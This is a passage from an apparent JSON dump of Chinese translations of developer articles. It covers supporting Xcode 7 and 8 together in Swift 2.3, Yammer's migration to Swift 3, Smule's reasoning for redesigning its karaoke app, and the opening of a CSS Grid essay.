同时兼容。\n\n有两条你需要知道的警告：\n\n*   这里没有 `#if swift(<2.3)` 或类似的东西，你只能使用 `>=` （不过如果需要的话可以用 `#elseif` ）。\n*   与带有 C 预处理器不同， `#if` 和 `#else` 间必须是实在的 Swift 代码。比如，你不能只改变函数签名而不触动本体(见之后的解决案例）。\n\n### 可选变化\n\n在 Swift 2.3 当中，许多特征舍去了不必要的选项，有些（比如许多 `NSURL` 属性）现在_变成_可选的。\n\n当然，你应该使用可选编译来处理，就像这样：\n\n\n```\n#if swift(>=2.3)\nlet specifier = url.resourceSpecifier ?? \"\"\n#else\nlet specifier = url.resourceSpecifier\n#endif\n```\n\n\n\n不过这里有条小帮助你可能会对你有用：\n\n\n```\nfunc optionalize<T>(optional: T?) -> T? {\n    return optional\n}\n\nfunc optionalize<T>(nonoptional: T) -> T? {\n    return nonoptional\n}\n```\n\n\n\n我知道，它有点奇怪。或许你初次看到结果的时候会比较容易解释：\n\n\n```\nlet specifier = optionalize(url.resourceSpecifier) ?? \"\" // works on both versions!\n```\n\n\n\n我们利用函数过载来摆脱丑陋的条件编译。看，`optionalize()` 函数把你传过去的一切都变成可选的，除非它早就是可选的，这么一来，它只原样返回参数。这下不论 `url.resourceSpecifier` 是可选的（ Xcode 8 ）还是不可选（ Xcode 7 ），“选项化” 之后的版本都是一样。。\n\n\n（如果你有兴趣的话，有一条关于实例的要点：过载规则在 Swift 中运行的方式是，一个函数中更具体的变量始终会比一个不太特定的变量更优先选择 。所以，即使 `String?` 匹配两个变量 `T?` 的 `T = String` 和 `T` 的 `T = String?` ，参数还是更接近匹配第一个变量。\n\n类型别名签名变化\n\n在 Swift 2.3 当中，一些函数（尤其是在 macOS SDK ）的自变量类型会发生变化。\n\n例如， `NSWindow` 初始程序曾经看起来像这样：\n\n```\ninit(contentRect: NSRect, styleMask: Int, backing: NSBackingStoreType, defer: Bool)\n```\n\n现在是这样：\n\n\n```\ninit(contentRect: NSRect, styleMask: NSWindowStyleMask, backing: NSBackingStoreType, defer: Bool)\n```\n\n\n\n注意 `styleMask` 的类型。它过去是泛整型（选项作为全局常量导入），但是在 Xcode 8 当中，它被当作合适的 `OptionSetType` 导入。\n\n不幸地，你无法有条件地用同个主体块编译两个版本的签名。但是，不用担心，条件编译类的别名会来助你一臂之力的！\n\n\n\n\n```\n#if swift(>=2.3)\n#else\ntypealias NSWindowStyleMask = Int\n#endif\n```\n \n\n现在你可以在签名中使用 `NSWindowStyleMask` 了，正如在 Swift 2.3 当中的那样。在 Swift 2.2 中，不存在该类型， `NSWindowStyleMask` 只是\n`Int` 的别名，所以类型检查没什么问题。\n\n### 非正式和正式协议对比\n\nSwift 2.3 将过去的一些[非正式协议](https://developer.apple.com/library/ios/documentation/General/Conceptual/DevPedia-CocoaCore/Protocol.html)改为了正式协议。\n\n例如，为了做一个 `CALayer` 授权，你只要从 `NSObject` 提取即可，无需宣称遵守 `CALayerDelegate` 。事实上， Xcode 7 上甚至不存在什么协议。不过现在有了。\n\n那么，可选编译类的直观解决方案声明行不起作用。但是你可以在你的Swift 2.2当中的虚拟协议中声明，就像这样：\n\n\n```\n#if swift(>=2.3)\n#else\nprivate protocol CALayerDelegate {}\n#endif\n\nclass MyView: NSView, CALayerDelegate { . . . }\n```\n\n\n\n## 构建 iOS 10 特性\n\n这么一来，你的工程可以同时在 Xcode 7 和 Xcode 8 进行编译而无需分支。漂亮！\n\n那么现在是时候真正创建 iOS 10 特性了，根据上述的建议和技巧，这完全应该是水到渠成的事情。不过，这里还有一些你需要了解的东西：\n\n1.   仅仅使用 `@available(iOS 10, *)` 和 `if #available(iOS 10, *)` 是不够的。首先，不在正式版应用当中编译任何  iOS 10 代码会更加安全。但是更关键地，当编译器需要这些检查来保证安全 API 使用，还是需要了解这个 API 是否存在 。如果你提到任何 iOS 9 SDK 中不存在的方法或类，代码就无法在 Xcode 7 中编译。\n\n2.  因此，你需要在 `#if swift(>=2.3)` 中封装所有你的 iOS 10 特有代码（你可以安全地认为Swift 2.3 和 iOS 10 现在是等价的）\n\n3.  通常，你需要两个都条件编译（就不会出现 Xcode 7 上无效编译的情况）以及` @available/#available `（来在Xcode 8上通过安全检查）。\n\n4.   当你在 iOS 10 特有特性下工作时，提取所有相关代码为零散的文件最简单了————如此你就可以只在 `#if swift…` 检查封装完整的文件了。（文件可能触及 Xcode 7编译器，但是所有的内容都会被忽略）\n\n## App 扩展\n\n但是事实是，如果你在 iOS 10 上工作，你也许想要为你的 app 添这些新的扩展，而不是仅仅给 app 添加更多代码。\n\n这很难办。我们可以条件编译我们的代码，但是没有这种“条件化目标”。\n\n\n有个好消息就是，只要 Xcode 7 不用真正编译那些目标，它是不会抱怨的。（似的，它也许会发出提醒工程包含比基本 SDK 高版本 iOS 编译的目标，但是这不是什么大事）。\n\n\n因此有这样的想法：保留所有的目标和代码，但是选择性地从“目标依赖关系”和“嵌入应用扩展”构建项目当中有条件地移除。\n\n该怎么做呢？我能想到的最好的办法就是为了 Xcode 7 的兼容性，将应用扩展默认禁用创建。只有当你使用 Xcode 8 工作的时候，临时添加扩展，但是永远无法真正提交改变。\n\n\n如果手动操作这些听起来反复（更不用说和 CI 不兼容以及自动创建了），别担心，我给你做了一个脚本！\n\n\n打算安装它需要：\n```\nsudo gem install configure_extensions\n\n```\n\n在 Xcode 工程提交任何改变之前，从应用目标当中移除只适用 iOS 10 的应用扩展：\n\n\n```\nconfigure_extensions remove MyApp.xcodeproj MyAppTarget NotificationsUI Intents\n\n```\n\n如果在 Xcode8 上工作的时候，把他们添加回来：\n```\nconfigure_extensions add MyApp.xcodeproj MyAppTarget NotificationsUI Intents\n\n```\n\n你可以配置你的 `script/` ，在利用 Xcode 构建预启动， Git 预提交钩子，或者与 CI 整合或者自动构建系统（更多工具信息见 [GitHub](https://github.com/radex/configure_extensions) ）。\n\n最后一个关于 iOS 10 app 扩展的建议：Xcode 模板生成的是 Swift 3 而不是 Swift 2.3 的代码。这不会实际工作，所以确保设置应用的扩展“使用了传统 Swift 语言版本”构建为“ yes” ，然后重新在 Swift 2.3 上重写代码。\n\n## 在九月\n\n一旦九月伴着 iOS 10 的发布来临，是时候撤掉对 Xcode 7 的支持而清理一下你的工程了。\n\n我为你们做了一个小的清单（请留个书签以便日后参考）：\n\n*   移除所有残留的 Swift 2.2 代码和不必要的 `#if swift(>=2.3)` 检查。\n\n*   移除所有的过渡代码，例如对 `optionalize()` 的使用，临时的类型别名和假协议\n*   移除 `configure_extensions` 脚本的使用，并通过启用新的应用扩展来提交工程设置。\n*   更新 CocodaPods ，如果你用到它，从我们添加的  `Podfile`  上移除 `post_install` 钩子（它九月份基本就没什么用了）。\n*   更新到 Xcode 工程推荐设置（在侧边栏选择工程，进入菜单，编辑→确认设置……）\n*   考虑升级你的供应设置以使用新的  `PROVISIONING_PROFILE_SPECIFIER`\n*   确认你依赖所有的 Swift 库都更新到 Swift 3。如果没有，考虑下为 Swift 3 端口出力。\n*   当上述所有都已就绪，你就能升级应用到 Swift 3 了！进入 编辑→转换→到最新 Swift  语法……，选择所有你的目标（记住，你需要一次性转换所有内容），查看 diff 并提交！\n*   如果你还没有完成，考虑一下移除对 iOS 8 的支持————这样你就可以移除更多的 `@available` 检查和其他条件代码\n\n\n祝你好运！\n\n\n发布于July 28, 2016。[反馈](http://radex.io/xcode7-xcode8/)。\n\n\n\n\n"
  },
  {
    "path": "TODO/yammer-ios-app-ported-to-swift-3.md",
    "content": "> * 原文地址：[Yammer iOS App ported to Swift 3](https://medium.com/@yammereng/yammer-ios-app-ported-to-swift-3-e3496525add1)\n* 原文作者：[Engineering Yammer](https://medium.com/@yammereng)\n* 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者：[Danny Lau](https://github.com/Danny1451)\n* 校对者：[冯志浩](https://github.com/fengzhihao123) ， [Gocy](https://github.com/Gocy015)\n\n\n# Yammer iOS 版移植到 Swift3\n\n\n\n\n\n随着九月下旬 Xocde 8 的发布，Swift 3 已经成为了开发 iOS 和 Mac OS 应用的默认版本。\n\n作为一个 iOS 商店，我们必须制定一个迁移工程，在保持与项目中 Objective-C 部分良好交互的前提下，把基础代码从 2.3 版本迁移到 3.0 版本。\n\n第一步是决定我们是否要移植到 Swift 3 。在之前我们没有别的选择，只能咬着牙上。但是这次 Xcode 8 提供了一个 [build flag](https://developer.apple.com/swift/blog/?id=36) 能够让你使用旧版本的 Swift 。这表明旧特性只对版本改变有意义。根据 [发行说明](https://developer.apple.com/library/prerelease/content/releasenotes/DeveloperTools/RN-Xcode/Introduction.html) Xcode 8.2 预计是最后一个能够支持 Swift 2.3 的版本。\n\n另一个让我们考虑反对迁移的原因是大量的 [改变](https://buildingvts.com/a-mostly-comprehensive-list-of-swift-3-0-and-2-3-changes-193b904bb5b1#.z9w2usfdx) 。Swift 团队和社区非常的活跃，而且 Swift 3 也展示出了作为一个年轻语言的发展潜力。不幸的是，这个版本 [不具有 ABI 的兼容性](http://thread.gmane.org/gmane.comp.lang.swift.evolution/17276) ，意味着1年之后 Swift 4 着陆的时候，我们又要进行一次类似的迁移。现在不迁移的话，因为要同时迁移 3 和 4 的特性，到时候就是两倍的工作量了。当然不一定是真的，也许 Swift 4 的改变和 Swift 3 在相同的范围内呢，而且久而久之，Xcode 提供的迁移工具也会变得更加好用更加值得信赖。 \n\n不管怎么样，不出意料地，我们选择了迁移。\n\n一旦我们决定开始迁移了，必须制定一个计划。把迁移工作模块化很明显是几乎不可能的。Xcode 只能允许编译一个 Swift 的版本，因此一旦迁移之球开始滚动，所有的改动需要同时合并到主干上。这就导致了一系列的逻辑问题：从禁止团队修改任何 Swift 文件，到后来出现大量 pull request 。同事也许会很感谢你的努力但是他们无论如何都会恨你的。我们最终决定建立一个笔记，团队中的任何人可以都把他们正在工作的类文件添加进去，通过这样我们就可以暂时把这些文件放在一旁，等到迁移之前再尝试将它们合并。这个工作一般来说不会轻松，尤其是你接下来的工作都要靠编译错误来指引的情况下。\n\n也就是说，还是有更好的方法的。在 Target 中移除大部分你的类，然后 [将它们构建成单独的模块](https://twitter.com/cocoaphony/status/794988795208802305) 。这个方式可以使不同版本的 Swift 共存。但是，我不相信这是一个完全不痛苦的过程。我也不是真的知道，因为我们没有选择这个方式。\n\n一旦准备好了，我们启动了 Xcode 的迁移工具（_Edit->Convert->to Current Swift Syntax_）然后看到生成了大量的不同点。我们通过分析每个文件中的每个不同点，对那些看上去不是很正确的进行笔记和制定草稿（在后面的列表中更多）。\n\n和预想中的一样，在将项目迁移并能够成功编译的路上，迁移工具只能帮你做一半左右的工作。下一步是打开问题导航栏一个个的去解决警告和错误（是的，包括警告因为我们不是动物）。大部分的问题都会有个方便的解决提示，一般情况下它都是正确的解决方案，有时候最好重排或者重写代码，这样能够显得更清晰。迁移是一个重新审视和定义整个代码库中的某些实现的绝佳机会，特别是当这门语言才刚刚出现在大众视野中的时候。\n\n在你进行的过程中，错误列表会不断的上下波动。通过全局的搜索替换可以很容易的找到能够区块修复的地方。最后代码终于可以编译和运行了，测试用例也终于能够编译，运行和通过了。能够通过测试用例是最第一个重要的里程碑了。目前为止的每个改动都应该尽可能的小。记下那些看上去奇怪的地方，在所有测试用例没通过之前都不要去动它们。\n\n随着测试用例的通过，我们现在可以把注意力集中在已经收集的那些任务和笔记列表上了。这些代码都是正确可运行的，但却非常辣眼睛。（不要打开右侧的责任面版，说不定这个代码就是你自己写的！）\n\n下面，是我们在迁移工程中记录的东西，有些每个人可能都会遇到，另外一些可能只在我们的代码库中间出现。\n\n*   **fileprivate 转成 private**。这个迁移要把你所有的 `private` 声明改成 `fileprivate` 。这个不是必须要更正的因为有些确实是私有的。我们把所有 `fileprivate` 替换回了 `private` ，然后重新过了一遍错误，打开源码片段来检查哪些是真正需要的。\n*   **NSIndexPath 转成 IndexPath**。有些改了但是有些没有，自己去探索吧！另一方面有些是需要改变的是我们的内部 api 。\n*   **UIControlState().normal 转成 UIControlState()**。这个可选的默认值配置在 init 构造函数里面可以是空的。没有 `.normal` 看上去生动，所以我们所有都替换了。例外一个值得注意的是 `UIViewAnimationOptions()` 我们替换成了 `.curveEaseInOut` 。\n*   **Enum 中的枚举转成小写**。有些枚举变成了首字母小写，有些不会。所以，我们手动做了这部分改动。这个迁移工具会把那些有敏感词冲突的单词，比如 `default` 通过使用逆向大小写来处理。\n*   **你真的是可选的?** 有些 API 改变了，采用了可选类型。如果这个一个内部的 Objective-C API 的话，确保你的可空标识是被正确设置了。\n*   **Objective-C 可空标识符**。在 Swift 3 中，每个导入的没有可空标识符的 Objective-C 类都会被强制解包到可选。\n最快的解决方法是每个地方都用 `if let` 或者 `gurad let`，但是在这么做之前，在 Objective-C 这边做个检查。\n*   **Optional 可比性**。因为一些 API 中的可选性的改变，并且事实上也有许多 Objective-C 的 API 的改变（见上面），迁移工具会为泛型的可选类型生成一些比较函数（ `func < (lhs: T?, rhs: T?) -> Bool` ），这是一个坏的点子，很可能你的逻辑需要改变，一些代码也要删除。\n*   **NSNumber!**。Swift 3 不再会自动桥接 number 到 `NSNumber` 了（或者相似的其他 NS 类），但是在大部分的例子中，这个是不需要强制的。把它们都检查一遍。\n*   **DispatchQueue**。我喜欢这个新的 DispatchQueue 语法，但是迁移工具把一些转换搞混了。并且代码中的每一个 `dispatchAfter` 必须检查一遍方式重复转换到纳秒。因为大部分的 API 会用秒级的延迟，我们通过 `NSEC_PER_SEC` 来执行乘法加倍的操作，而迁移工具会使用这个逻辑并且通过 `NSEC_PER_SEC` 来分割，这种解决方法不够漂亮。\n*   **NSNotification.Name**。现在 `NotificationCenter` 不再通过 `String` 而是 `NSNotification.Name` 来添加 observer 。迁移工具会把原来的量常量包装在一个 `Notification.name` 中，然而我们更倾向于把 `Notification.name` 赋给一个 let 变量来隐藏常量的逻辑。\n*   **NSRange 转变 Range**.大部分的字符串 API 现在使用 `Range` 来替换 `NSRange` 。现在通过使用 literal ranges (0..<9) 更加容易操作它们。总的来说，ranges 在 Swift 中改变了很多，每个人在使用它的时候都崩溃过。重新检查一下它们，你的代码库值得这个变换！\n*   **_ 第一个参数**。Swift 3 命名规范改变来暗指着函数的第一个参数，大部分你的 api 和 api 调用都会自动改变，有些则不会。更糟糕的是，有些建议的 api 改动导致你的函数变得难以阅读。想用 `NS_SWIFT_NAME` 作为那些 Objective-C 的名字是不够 Swift 化的。\n*   **Objective-C 类属性**。许多类的调用在 Swift 中现在通过类属性的方式来实现之前的类方法(除了: _ `UIColor.red`)。在你的 Objective-C 中 你可以把一个 get 方法转换为一个 [静态属性]((http://useyourloaf.com/blog/objective-c-class-properties/)) ，它会在两个环境下生效。\n*   **Any 和 AnyObject**。Objective-C 中的 id 类型现在不再由 Anyobject 而是由 Any 来代替了。这个转换相当容易地就能解决但是也可能导致一些行的误导， [阅读](http://kuczborski.com/2014/07/29/any-vs-anyobject/) 和理解它们的不同之处。\n*   **权限控制**。我们已经讨论过 `private` 和 `filePrivate` 了。同样值得去重新检查一下 `open`， `public` 和 `internal` 。这是另外一个要在团队内部要达成一致协议的重要事情。\n\n**结论**\n\n迁移约 180 个 Swift 文件的过程花了两个人两周的时间。我们选择结对迁移(**我这么称呼它!**)是因为这样的条件下有特别的好处。\n当这个项目的重点少部分在代码逻辑，而更多的在确保没有由于打字错误，重命名操作符和重排导致的新的bug时，有四只眼睛而不是两只眼睛就显得重要的多了。当你眼前的东西逻辑不通或是意义不明时，多一双手和一台笔记本来检查原始的代码会变得非常方便。总的来说，这样能让一个本来没什么乐趣的任务变得令人享受。不过当所有事情都失败的时候，至少你还能切换回去。感谢 Mannie([@mannietags](https://twitter.com/mannietags)) 的陪伴和忍耐。\n\n由于工作流的本质是编译错误主导的，有时候想要将特定的操作合成连续的提交是很困难的。为了这个目标，回滚分支并且重新提交每一个逻辑模块，这样做至少可以让你的操作历史变得更好。这个可以延伸到来构建一个瀑布分支来创造小的 PR 。它们很明显稍后必须被合并到小瀑布中，或者你可以一开始就做好这部分工作。\n\n迁移对把你的代码提高到更高的水平来说是个有效的方法。它通过更新代码版本来实现这一目的，同时这也是一次发现代码中不规范或过时编码的一个好机会。把这些发现和更新记录下来并加入你们的团队编码规范之中（如果你还没有这个规范，现在就开始写吧）。这么做主要有两个原因，其一是可以供将来加入团队的人进行参考。二来是可以将更新/创造过程中的思路展示出来。就像一个普通的迁移 PR 或许非常无趣，没有什么吸引力，而一个有着许多更新、同时还有描述这些变化的动机的说明的 PR，对团队中的其它成员就更容易跟进和理解了.\n\n_Francesco Frison 是 Yammer 的一名 iOS 工程师。_ [_@cescofry_](https://twitter.com/cescofry)\n\n\n\n\n\n"
  },
  {
    "path": "TODO/yeah-redesign-part-1.md",
    "content": "> * 原文地址：[Yeah, redesign(Part 1)](https://medium.muz.li/yeah-redesign-part-1-b61af07eb41a)\n> * 原文作者：[Jingxi Li](https://medium.muz.li/@jingxili)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 译者：[dongpeiguo](https://github.com/dongpeiguo)\n> * 校对者：[horizon13th](https://github.com/horizon13th)\n\n![](https://cdn-images-1.medium.com/max/2000/1*ZZP4Og3NWAYova0lgaTqHg.jpeg)\n\n# 是的, 重新设计(第一部分) #\n\n## 如何在移动世界中重新设计 ##\n\n作为一个设计领导者，我经常问自己：“我的团队怎样才能够持续向我们的用户提供最好的产品体验？”我的答案总是相同的：我们需要考虑到我们用户是在持续变化以及在迅速发展的社会中不断提升的品位。但是，如果重新设计产品的体验就是解决方案的话，怎样从内部对话入手来开始这个过程呢？如何实现一个能够平衡新功能和设计的同时还能保持产品的一致性的可拓展的解决方案呢？\n\n如果你也面临着同样的设计挑战，我希望这篇文章能够帮你找到以下问题的答案：\n\n> **1. 为什么当用户已经爱上这个产品的时候仍需要重新设计？**\n\n> **2. 如何在一个以数据驱动快节奏的公司中执行重新设计？**\n\n> **3. 你如何衡量结果？**\n\n> **4. 下一步是什么？**\n\n为了帮助解答这些问题，我想通过分享我们对龙头产品 “唱吧！卡拉OK”（原文：sing！karaoke）的重新设计的经验，来带你看到我们团队在这一路上所克服的障碍。\n\n两年半以前，当我第一次加入公司的时候，我们有四个团队，每个团队负责下列应用的其中一个： 唱吧！卡拉OK（Sing! Karaoke，以下简称唱吧！），魔术钢琴（Magic Piano），电子竖琴（Autoharp），弹吉他（Guitar）。每个团队由一名设计师，一名产品经理和两到三名工程师组成。随着成长速度的不同，我们看到“唱吧！”成为了 Smule 家族中领先的应用。公司决定将重点从基于应用开发的架构转变为基于功能的架构，这意味着更多的功能，更多的心血将倾注于“唱吧！”应用中，设计师们也需要更多的设计合作。随着业务变化，我们知道我们现有的产品设计和流程不能满足团队的扩展和用户的需求。\n\n我们知道重新设计不会是一个孤立的项目，而是需要与用户，设计师，产品经理，工程师和执行人员的共同参与。为了重新设计，每一部分的人员都在项目初期就参与进来，针对“如何”重新设计提供意见反馈。这帮助我们设定了明确的目标，重新设计将从以下四个方面实现：\n\n![](https://cdn-images-1.medium.com/max/2000/1*ZsWu9BZbUZzS0FqMxTPcPA.jpeg)\n\n来源：shutterstock\n\n> **提升用户体验**\n\n> **授权设计团队进行规范化**\n\n> **提升产品参与度**\n\n> **建立可持续的工程解决方案**\n\n\n### **1. 改善“唱吧！”的用户体验通过** ###\n\n#### 给“唱吧”加入体验上的一致性和连续性 ####\n\n从许多用户研究中，我们已经知道一致性是可用性最强的因素之一。“唱吧！”是一个有着很多功能的有趣产品。在 2012 年产品发布的时候，只有很少的功能和用户基础。由于功能很少，设计采用不同颜色来区分不同场景下的内容。比如，在“唱吧！”的早起版本中，我们用超过四种颜色来展示不同的“行为召唤”（在商场超市里，我们经常会看见一些新品上市，会推出免费试用以及低价促销的活动，用以刺激、吸引用户的购买行为。这就是行为召唤中的一种。译者注）的不同用途，旧的设计原本旨在取悦用户，但我们注意到这种花花绿绿的“行为召唤”反而会给新用户造成困惑。这意味着重新设计需要建立一致的 UI 语言来改善我们当前的用户体验。\n\n#### 提升新用户的参与度 ####\n\n通过进行用户研究，我们发现新用户往往会带着他们之前的经验，和其他应用或产品的 UI 交互的经历来假设他们和“唱吧！”的第一次交互也会如此。最重要的是，当“唱吧！”的界面没有符合用户的预期时，用户需要花费额外的精力来学习和理解这个界面，这将使得产品试用既让人兴奋又让人头疼。我们推测，用户界面的标准化，或者更新定制化的界面设计，使其与重新设计的设计模式相匹配，可以帮用户更快更容易地熟悉我们的产品。它可以帮助用户快速了解产品，从而更好的参与进来。\n\n#### 增加现有用户存留 ####\n\n与应用程序的交互具有可量化的物理和心理成本。物理成本是用户达到特定目标所需的步骤数量或时间来衡量。心理成本是通过让用户完成一个任务，或达到一个目标所需的内在和外在的认知负荷以及压力。比如，当“唱吧！”用户想要和其他用户开启一段合唱时，他们不得不在多个界面进行操作才能达到这个目的，这不仅仅消耗了用户时间成本，造成了用户心理压力，也没有帮助用户理解内容。有计划有信念地使用明确的标准交互和UI设计，将显著降低用户的身心成本。\n\n![](https://cdn-images-1.medium.com/max/2000/1*ZH2VNJu33_eaMvPVikPUxg.jpeg)\n\n来源:shutterstock\n\n\n\n### 2. 赋予设计团队可拓展性 ###\n\n#### 为“唱吧！”创造一个新字体 ####\n\n“唱吧！”开始使用的是 Gotham 字体，是一种灵感来自纽约市中世纪建筑设计的字体。Gotham 是一款非常棒的字体，可以庆祝 Smule 的乐趣，异想天开的感觉。它仍然代表了 Smule 在今天的品牌形象。然而，Gotham 是用于打印和媒体应用程序的字体。在移动设备上呈现时，会引起许多问题。Gotham 有着较宽的字间距，会在同样的词句上占据更多的位置。移动设备具有有限的屏幕尺寸，因此设计师必须总是做出额外的努力，以确保文字在 iOS 和 Android 环境中都能显示正常。很多时候，由于存在用户可读性的问题，字体的大小需要缩小以适合小空间。Gotham 引起的另一个问题是基线较低。因此，工程师必须手动，在视觉上确保副本是居中的。正如你所看到的这些例子，我们在开发阶段遇到了很多设计问题。我们现在知道，找到可扩展和平台标准字体是我们在重新设计过程中必须做出的关键决定之一。\n\n####  “唱吧！”需要规范其设计语言 ####\n\n\n设计是一个既活泼又严肃的创作过程。如果没有一个标准的 UX/UI 设计指南，该产品将成为项目中的不同设计师对于美学理解的大杂烩。继续研究这些设计会使设计团队产生混乱，限制设计人员的产出，并降低了产品质量。我们知道我们以前的“唱吧！”没有明确定义设计标准。这种模糊标准加重了我们设计评审过程中的延迟和难点。当团队中没有人能够阐明我们的目标设计标准时，所有的反馈和审查都是基于个人偏好来判断的，其中大部分都是无效的。作为一个团队，我们明白我们需要共同努力为用户提供最好的产品和体验。为此，我们认识到，我们需要一个明确界定的标准，传达给所有设计团队成员，以便在整个重新设计和推进过程中使用。这将为团队的每个产品设计决策奠定基础。\n\n设计团队的巨大增长使我们意识到需要建立一套规则。这个规范的建立是对于信息框架，布局，字体，颜色，图像和交互的处理。优点是，它将作为一个框架，适用于大多数设计问题，帮助设计人员在第一次就做出正确的设计决策来加快设计的过程。更重要的是，设计团队需要创建一个共享的中央存储库，根据需要经常更新，记录我们的样式，组件和规范。随着这个共享中心的到位，设计的一致性以及设计的质量和数量将得到改善。这意味着在“唱吧！”的重新设计中，设计团队需要制定这个指导方针，以减少脱节的空间，个人设计风格和产品的视觉吸引力将保持一致。我们的目标是最终，设计师们不必致力于图标的细节刻画，不必思考究竟什么才是正确的规范。相反，他们可以更多地关注用户的创意设计解决方案。\n\n\n#### 设计团队需要扩大规模 ####\n\n随着产品功能的更新，更多的用户加入了我们的“唱吧！”大家庭。我们的设计团队需要扩张，以及更多的合作。没有对于建立合作基础的模块的共识，压力将会在团队增长的同时一直伴随，使得沟通变得复杂。为了确保我们的团队成功，我们知道我们的设计方法和工作流程需要模块化。这意味着重新设计团队需要创建一些设计构建模块，这将是重新设计和所有设计工作的基础。这些单独的模块既能帮助我们的设计师轻松协作，又能在必要时进行产品分割。此外，当新设计师加入时，团队的高级成员可以利用这些模块来引导项目，并为新成员制定明确的计划。\n\n![](https://cdn-images-1.medium.com/max/2000/1*Jh6XD2B8Nx3P7mOKZSqJGA.jpeg)\n\n来源:shutterstock\n\n### 3. 增加产品参与度 ###\n\n#### 提升新用户的初体验 ####\n\n当新用户尝试新应用时，他们他们会同时学习两件事情（1）此应用程序的功能和（2）如何访问这些功能。没有明确和标准化的 UI/UX 设计，用户可能无法完全了解应用程序中的各个界面元素并感到迷失。为了让用户专注于使用产品功能而不是导航界面设计，我们需要了解新用户的期望并明确传达对他们有价值的信息。总体而言，新设计应该简化我们应用程序的混乱部分，使得用户在尝试和新功能进行交互时感到舒服。\n\n#### 增加用户留存 ####\n\n在 Smule，我们密切监视用户存留，定义为在第一次使用体验后接下来的几天（例如第 2 天和第 7 天），有多少新用户回到应用程序。如果用户在第一次没有得到很好的体验他们在第 2 天不太可能回来。通过用户研究我们发现，如果用户找到了兴趣接入点，他们便会在乐享在新功能中，否则他们仍会停留于已有功能。这些发现表明，我们的设计导航与用户的意图不一致。如果设计没有帮助用户知道他们在哪里，以及他们如何访问他们所想的功能，他们可能会感到困惑，对于继续使用“唱吧！”失去了兴趣。通过重新设计，我们需要提供更好的导航，满足用户意图和产品商业目标。\n\n#### 提升开发和发布周期 ####\n\n在 2014 年，我们开始考虑重新设计时，iOS 和 Android 上的产品功能是不一样的。“唱吧！”在 iOS 上的功能要比 Android 上的功能多，iOS 和 Android 的不一致使设计团队的工作翻了一番，延迟了开发周期。当我们开始思考重新设计时，“唱吧！”已经获得了很多新用户。我们想，趁着这股势头，加快产品设计和开发周期。考虑到这一点，我们知道重新设计需要改进我们内部设计团队的工作流程和效率。重新设计可以将设计和开发时间缩短 50％，这将为我们提供更多的机会来测试和发布具有当前资源的新功能。\n\n![](https://cdn-images-1.medium.com/max/2000/1*P4nIML48uPpJuVX-ut1tcg.jpeg)\n\n来源:shutterstock\n\n### 4. 建设可持续发展的工程解决方案 ###\n\n#### 完善开发进程 ####\n\n不一致的 UI 不仅引起了可用性问题，而且为设计师和工程师创造了额外的工作负担。例如，对于单个图标，设计人员创建了多种颜色或大小的组件以在不同的场景中使用。为了确保工程师将组件放在屏幕的正确位置上，设计人员花费了大约 40％的时间来为工程师规划和创建组件。另一方面，工程师需要遵循规范，编写自定义代码，以确保每个组件都位于正确的位置。这些听起来很容易，但是当考虑到其他变量时，比如屏幕尺寸和不同平台（IOS/Android），这过程简直可怕。在与工程师交谈之后，设计师和工程师都希望以更好的方式相互协作。这再次提出了重新设计需求的另一个视角：创造一个可以使设计师和工程师建立并构造产品更加有效的一套系统的方法。\n\n#### 提升产品开发质量 ####\n\n做设计质量保证是设计者的责任，并确保设计得到正确实施。对设计师和工程师来说，最令人沮丧的时刻是：工程师为了修复设计 bug，不得不修改设计的某些部分，当然这将会产生另一个设计 bug。这导致，工程师花费更多的时间来修复设计 bug，却仍然不能保证工程实现和设计是匹配没有 bug 的。我们知道，要重新设计解决可能遇到的所有设计错误是不切实际的，但是，创建一个统一设计规范，以界定如何设置边距，如何创建图标大小，如何申请压缩状态等等，将减少上述场景的发生。\n\n#### 准备全球本地化 ####\n\n当我们开始思考重新设计时，“唱吧！”从以美国为中心的应用程序转型为国际产品。为了适应不同国家地区用户的社区本地化，我们把“唱吧！”从12种语言发展到20种语言。将原本为英文的应用程序更新多语言时，用户界面很容易出问题。例如，与英语比起来，德语或俄语需要更多的字符来表达相同的含义。通常适合英文标签的限定空间将不适用于德语和俄语。如果没有一个清晰的规则，来制定如何设置间距，如何应用层级关系，当地语言字符会就被裁剪，或者以较小的尺寸呈现。逐一解决每种语言的这些问题，花费了我们工程师和质量保证团队的大量精力。我们知道，通过重新设计我们需要找到一个可持续的解决方案，可以优化我们现有以及未来会有的不同的语言。\n\n![](https://cdn-images-1.medium.com/max/2000/1*cAPZbmDZEe5byrPDOB7QVA.jpeg)\n\n来源:shutterstock\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。\n"
  },
  {
    "path": "TODO/you-do-not-need-a-css-grid-based-grid-system.md",
    "content": "\n> * 原文地址：[You do not need a CSS Grid based Grid System](https://rachelandrew.co.uk/archives/2017/07/01/you-do-not-need-a-css-grid-based-grid-system)\n> * 原文作者：[Rachel Andrew](https://rachelandrew.co.uk/about/)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/you-do-not-need-a-css-grid-based-grid-system.md](https://github.com/xitu/gold-miner/blob/master/TODO/you-do-not-need-a-css-grid-based-grid-system.md)\n> * 译者：[LeviDing](https://github.com/leviding)\n> * 校对者：[Bamboo](https://github.com/bambooom)，[H2O-2](https://github.com/H2O-2)\n\n# 你不需要基于 CSS Grid 的栅格布局系统\n\n在过去的几个星期里，我开始看到基于 CSS Grid 的布局框架和栅格系统的出现。我们惊讶它为什么出现的这么晚。但除了使用 CSS Grid 栅格化布局，我至今还没有看到任何框架能提供其他有价值的东西。他们沉醉于模仿过去的做法，而不是着眼于未来。这使得发展受到限制。其中一个常见的问题就是，这些框架仍需要在标记语言中使用行包装器。\n\n## 为什么 Grid 有些不同？\n\nGrid 是一个栅格系统。它允许你在 CSS 